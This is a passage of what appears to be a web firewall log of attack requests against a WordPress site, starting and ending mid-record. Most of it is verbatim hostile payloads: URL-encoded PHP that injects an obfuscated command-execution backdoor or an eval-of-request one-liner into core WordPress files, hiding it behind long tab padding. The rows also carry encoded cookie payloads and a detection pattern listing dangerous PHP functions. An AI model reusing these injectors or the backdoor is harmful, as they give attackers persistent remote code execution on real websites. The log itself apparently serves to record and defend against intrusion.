vent_handler5%2528%2524event_handler%252C%2522r%2522%2529%253Bif%2528%2524itm_ref%2529%257B%2524flag_key%253D%2524event_handler6%2528%2524itm_ref%2529%253B%2524event_handler7%2528%2524itm_ref%2529%253Bprint%2520%2524flag_key%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 12:43:08","38.95.35.74","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/freedoms.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524pointer1%2520%253D%2520%25277%2527%253B%2524pointer2%2520%253D%2520%25273%2527%253B%2524pointer3%2520%253D%2520%25276%2527%253B%2524pointer4%2520%253D%2520%2527d%2527%253B%2524pointer5%2520%253D%2520%25278%2527%253B%2524pointer6%2520%253D%2520%25275%2527%253B%2524pointer7%2520%253D%2520%25270%2527%253B%2524pointer8%2520%253D%2520%25274%2527%253B%2524pointer9%2520%253D%2520%25272%2527%253B%2524pointer10%2520%253D%2520%2527e%2527%253B%2524pointer11%2520%253D%2520%25271%2527%253B%2524pointer12%2520%253D%2520%2527f%2527%253B%2524pointer13%2520%253D%2520%2527c%2527%253B%2524event_handler1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25273%2527.%2524pointer1.%25279%2527.%2524pointer1.%2524pointer2.%25277%2527.%25274%2527.%2524pointer3.%25275%2527.%2524pointer3.%2524pointer4%2529%253B%2524event_handler2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25273%2527.%2524pointer3.%2524pointer5.%2524pointer3.%2524pointer6.%25276%2527.%2527c%2527.%2524pointer3.%2527c%2527.%2524pointer6.%2527f%2527.%25276%2527.%25275%2527.%25277%2527.%25278%2527.%25276%2527.%2524pointer6.%2524pointer3.%25273%2527%2529%253B%2524event_handler3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer3.%25275%2527.%25277%2527.%2524pointer5.%25276%2527.%2524pointer6.%2524pointer3.%2524pointer2%2529%253B%2524event_handler4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer1.%2524pointer7.%25276%2527.%25271%2527.%25277%2527.%2524pointer2.%25277%2527.%25273%2527.%2524pointer1.%2524pointer8.%25276%2527.%2524pointer5.%2524pointer1.%2524pointer9.%25277%2527.%2524pointer6%2529%253B%2524event_handler5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524pointer7.%2524pointer3.%2527f%2527.%25277%2527.%25270%2527.%25276%2527.%25275%2527.%25276%2527.%2524pointer10%2529%253B%2524event_handler6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524pointer2.%2524pointer1.%25274%2527.%2524pointer1.%25272%2527.%25276%2527.%2524pointer6.%2524pointer3.%2524pointer11.%2524pointer3.%2524pointer4.%25275%2527.%2524pointer12.%25276%2527.%25277%2527.%25276%2527.%25275%2527.%25277%2527.%2524pointer8.%2524pointer6.%2524pointer12.%2524pointer3.%2524pointer2.%25276%2527.%2524pointer12.%2524pointer3.%2524pointer10.%25277%2527.%2524pointer8.%2524pointer3.%25275%2527.%25276%2527.%2527e%2527.%25277%2527.%2524pointer8.%2524pointer1.%2524pointer2%2529%253B%2524event_handler7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer1.%2524pointer7.%2524pointer3.%25273%2527.%25276%2527.%2524pointer13.%25276%2527.%2524pointer12.%25277%2527.%25273%2527.%25276%2527.%2524pointer6%2529%253B%2524event_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%25275%2527.%2524pointer1.%25276%2527.%2524pointer3.%2524pointer6.%25276%2527.%2527e%2527.%25277%2527.%2524pointer8.%25275%2527.%2527f%2527.%25276%2527.%25278%2527.%25276%2527.%2524pointer11.%25276%2527.%2524pointer10.%25276%2527.%25274%2527.%2524pointer3.%2527c%2527.%2524pointer3.%25275%2527.%25277%2527.%25272%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_handler%255D%2529%2529%257B%2524event_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_handler%255D%2529%253Bif%2528function_exists%2528%2524event_handler1%2529%2529%257B%2524event_handler1%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler2%2529%2529%257Bprint%2520%2524event_handler2%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler3%2529%2529%257B%2524event_handler3%2528%2524event_handler%252C%2524property_set_desc%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524property_set_desc%2529%253B%257Delseif%2528function_exists%2528%2524event_handler4%2529%2529%257B%2524event_handler4%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler5%2529%2526%2526function_exists%2528%2524event_handler6%2529%2526%2526function_exists%2528%2524event_handler7%2529%2529%257B%2524itm_ref%253D%2524event_handler5%2528%2524event_handler%252C%2522r%2522%2529%253Bif%2528%2524itm_ref%2529%257B%2524flag_key%253D%2524event_handler6%2528%2524itm_ref%2529%253B%2524event_handler7%2528%2524itm_ref%2529%253Bprint%2520%2524flag_key%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\naccept:*\/*\nsec-fetch-dest:document\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:7303\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-platform:\"Windows\"\naccept-encoding:gzip,deflate\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-site:none\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/freedoms.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524pointer1%2520%253D%2520%25277%2527%253B%2524pointer2%2520%253D%2520%25273%2527%253B%2524pointer3%2520%253D%2520%25276%2527%253B%2524pointer4%2520%253D%2520%2527d%2527%253B%2524pointer5%2520%253D%2520%25278%2527%253B%2524pointer6%2520%253D%2520%25275%2527%253B%2524pointer7%2520%253D%2520%25270%2527%253B%2524pointer8%2520%253D%2520%25274%2527%253B%2524pointer9%2520%253D%2520%25272%2527%253B%2524pointer10%2520%253D%2520%2527e%2527%253B%2524pointer11%2520%253D%2520%25271%2527%253B%2524pointer12%2520%253D%2520%2527f%2527%253B%2524pointer13%2520%253D%2520%2527c%2527%253B%2524event_handler1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25273%2527.%2524pointer1.%25279%2527.%2524pointer1.%2524pointer2.%25277%2527.%25274%2527.%2524pointer3.%25275%2527.%2524pointer3.%2524pointer4%2529%253B%2524event_handler2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25273%2527.%2524pointer3.%2524pointer5.%2524pointer3.%2524pointer6.%25276%2527.%2527c%2527.%2524pointer3.%2527c%2527.%2524pointer6.%2527f%2527.%25276%2527.%25275%2527.%25277%2527.%25278%2527.%25276%2527.%2524pointer6.%2524pointer3.%25273%2527%2529%253B%2524event_handler3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer3.%25275%2527.%25277%2527.%2524pointer5.%25276%2527.%2524pointer6.%2524pointer3.%2524pointer2%2529%253B%2524event_handler4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer1.%2524pointer7.%25276%2527.%25271%2527.%25277%2527.%2524pointer2.%25277%2527.%25273%2527.%2524pointer1.%2524pointer8.%25276%2527.%2524pointer5.%2524pointer1.%2524pointer9.%25277%2527.%2524pointer6%2529%253B%2524event_handler5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524pointer7.%2524pointer3.%2527f%2527.%25277%2527.%25270%2527.%25276%2527.%25275%2527.%25276%2527.%2524pointer10%2529%253B%2524event_handler6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524pointer2.%2524pointer1.%25274%2527.%2524pointer1.%25272%2527.%25276%2527.%2524pointer6.%2524pointer3.%2524pointer11.%2524pointer3.%2524pointer4.%25275%2527.%2524pointer12.%25276%2527.%25277%2527.%25276%2527.%25275%2527.%25277%2527.%2524pointer8.%2524pointer6.%2524pointer12.%2524pointer3.%2524pointer2.%25276%2527.%2524pointer12.%2524pointer3.%2524pointer10.%25277%2527.%2524pointer8.%2524pointer3.%25275%2527.%25276%2527.%2527e%2527.%25277%2527.%2524pointer8.%2524pointer1.%2524pointer2%2529%253B%2524event_handler7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer1.%2524pointer7.%2524pointer3.%25273%2527.%25276%2527.%2524pointer13.%25276%2527.%2524pointer12.%25277%2527.%25273%2527.%25276%2527.%2524pointer6%2529%253B%2524event_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%25275%2527.%2524pointer1.%25276%2527.%2524pointer3.%2524pointer6.%25276%2527.%2527e%2527.%25277%2527.%2524pointer8.%25275%2527.%2527f%2527.%25276%2527.%25278%2527.%25276%2527.%2524pointer11.%25276%2527.%2524pointer10.%25276%2527.%25274%2527.%2524pointer3.%2527c%2527.%2524pointer3.%25275%2527.%25277%2527.%25272%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_handler%255D%2529%2529%257B%2524event_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_handler%255D%2529%253Bif%2528function_exists%2528%2524event_handler1%2529%2529%257B%2524event_handler1%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler2%2529%2529%257Bprint%2520%2524event_handler2%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler3%2529%2529%257B%2524event_handler3%2528%2524event_handler%252C%2524property_set_desc%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524property_set_desc%2529%253B%257Delseif%2528function_exists%2528%2524event_handler4%2529%2529%257B%2524event_handler4%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler5%2529%2526%2526function_exists%2528%2524event_handler6%2529%2526%2526function_exists%2528%2524event_handler7%2529%2529%257B%2524itm_ref%253D%2524event_handler5%2528%2524event_handler%252C%2522r%2522%2529%253Bif%2528%2524itm_ref%2529%257B%2524flag_key%253D%2524event_handler6%2528%2524itm_ref%2529%253B%2524event_handler7%2528%2524itm_ref%2529%253Bprint%2520%2524flag_key%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 12:43:19","78.142.18.172","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> xz:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/update.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ediFsA%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrUbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\ncontent-length:2033\nsec-fetch-mode:navigate\nsec-fetch-site:none\n\nxz=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/update.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ediFsA%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 12:43:54","217.217.254.45","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> tI:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/update.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ediFsA%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqRxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\ncontent-length:2033\nsec-fetch-mode:navigate\nsec-fetch-site:none\n\ntI=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/update.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ediFsA%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 12:43:59","93.39.85.202","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> KY:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/update.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ediFsA%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncookie:4=1af844051764377410b827578daae50e; 